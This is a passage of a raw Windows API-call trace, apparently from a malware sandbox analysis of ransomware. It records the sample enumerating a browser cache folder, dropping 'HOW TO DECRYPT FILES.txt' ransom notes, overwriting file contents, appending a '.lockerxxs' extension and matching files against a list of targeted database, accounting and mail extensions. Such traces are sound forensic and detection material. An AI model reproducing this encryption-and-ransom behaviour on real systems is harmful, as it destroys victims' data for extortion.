lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.624] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0xffffffff [0082.625] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.627] SetFileTime (hFile=0xa4, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0082.628] CloseHandle (hObject=0xa4) returned 1 [0082.632] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="19619569[1].gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif" [0082.632] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54962130, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54962130, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x549ae3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x461fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="7962161087[1].js", cAlternateFileName="796216~1.JS")) returned 1 [0082.632] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.632] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="7962161087[1].js") returned 1 [0082.632] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="7962161087[1].js") returned 1 [0082.632] lstrcmpiA (lpString1="", lpString2="7962161087[1].js") returned -1 [0082.632] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\19619569[1].gif") returned="19619569[1].gif" [0082.632] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.632] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.632] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.632] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.633] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="7962161087[1].js" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js" [0082.633] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53017770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53017770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53017770, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x14d, dwReserved0=0x730065, dwReserved1=0x4c005c, cFileName="AA3DGHW[1].png", cAlternateFileName="AA3DGH~1.PNG")) returned 1 [0082.633] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.633] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA3DGHW[1].png") returned 1 [0082.633] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA3DGHW[1].png") returned 1 [0082.633] lstrcmpiA (lpString1="", lpString2="AA3DGHW[1].png") returned -1 [0082.633] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\7962161087[1].js") returned="7962161087[1].js" [0082.633] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.633] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.633] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.633] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.633] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AA3DGHW[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" [0082.633] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" [0082.633] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" [0082.633] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png." [0082.634] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png.lockerxxs" [0082.634] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0082.634] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x14d [0082.634] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53017770, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53017770, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53017770, dwHighDateTime=0x1d2dd9e)) returned 1 [0082.635] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.635] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x127, lpOverlapped=0x0) returned 1 [0082.639] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png") returned="AA3DGHW[1].png" [0082.639] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0082.639] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x127, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x127, lpOverlapped=0x0) returned 1 [0082.639] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0082.639] CloseHandle (hObject=0xa4) returned 1 [0082.683] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\aa3dghw[1].png.lockerxxs")) returned 1 [0082.685] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x456d9c70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x456d9c70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x456d9c70, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AA3e1pt[2].png", cAlternateFileName="AA3E1P~2.PNG")) returned 1 [0082.685] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0082.685] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AA3e1pt[2].png") returned 1 [0082.685] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AA3e1pt[2].png") returned 1 [0082.685] lstrcmpiA (lpString1="", lpString2="AA3e1pt[2].png") returned -1 [0082.686] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3DGHW[1].png") returned="AA3DGHW[1].png" [0082.686] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0082.686] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0082.686] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0082.686] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0082.686] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="AA3e1pt[2].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png" [0082.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.ems") returned 0 [0082.686] lstrlenA (lpString="*.ems") returned 5 [0082.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.db") returned 0 [0082.686] lstrlenA (lpString="*.db") returned 4 [0082.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.dbf") returned 0 [0082.686] lstrlenA (lpString="*.dbf") returned 5 [0082.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.myox") returned 0 [0082.686] lstrlenA (lpString="*.myox") returned 6 [0082.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.myo") returned 0 [0082.686] lstrlenA (lpString="*.myo") returned 5 [0082.686] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.qbw") returned 0 [0082.687] lstrlenA (lpString="*.qbw") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.qbb") returned 0 [0082.687] lstrlenA (lpString="*.qbb") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.qbm") returned 0 [0082.687] lstrlenA (lpString="*.qbm") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.qbo") returned 0 [0082.687] lstrlenA (lpString="*.qbo") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.qbx") returned 0 [0082.687] lstrlenA (lpString="*.qbx") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.qba") returned 0 [0082.687] lstrlenA (lpString="*.qba") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.qby") returned 0 [0082.687] lstrlenA (lpString="*.qby") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.qbj") returned 0 [0082.687] lstrlenA (lpString="*.qbj") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.ofx") returned 0 [0082.687] lstrlenA (lpString="*.ofx") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.qif") returned 0 [0082.687] lstrlenA (lpString="*.qif") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.mye") returned 0 [0082.687] lstrlenA (lpString="*.mye") returned 5 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.mbox") returned 0 [0082.687] lstrlenA (lpString="*.mbox") returned 6 [0082.687] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.eml") returned 0 [0082.688] lstrlenA (lpString="*.eml") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.pst") returned 0 [0082.688] lstrlenA (lpString="*.pst") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.ost") returned 0 [0082.688] lstrlenA (lpString="*.ost") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.idx") returned 0 [0082.688] lstrlenA (lpString="*.idx") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.dbx") returned 0 [0082.688] lstrlenA (lpString="*.dbx") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.sql") returned 0 [0082.688] lstrlenA (lpString="*.sql") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.mdb") returned 0 [0082.688] lstrlenA (lpString="*.mdb") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.fdb") returned 0 [0082.688] lstrlenA (lpString="*.fdb") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.wab") returned 0 [0082.688] lstrlenA (lpString="*.wab") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", pszSpec="*.dat") returned 0 [0082.688] lstrlenA (lpString="*.dat") returned 5 [0082.688] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\AA3e1pt[2].png", 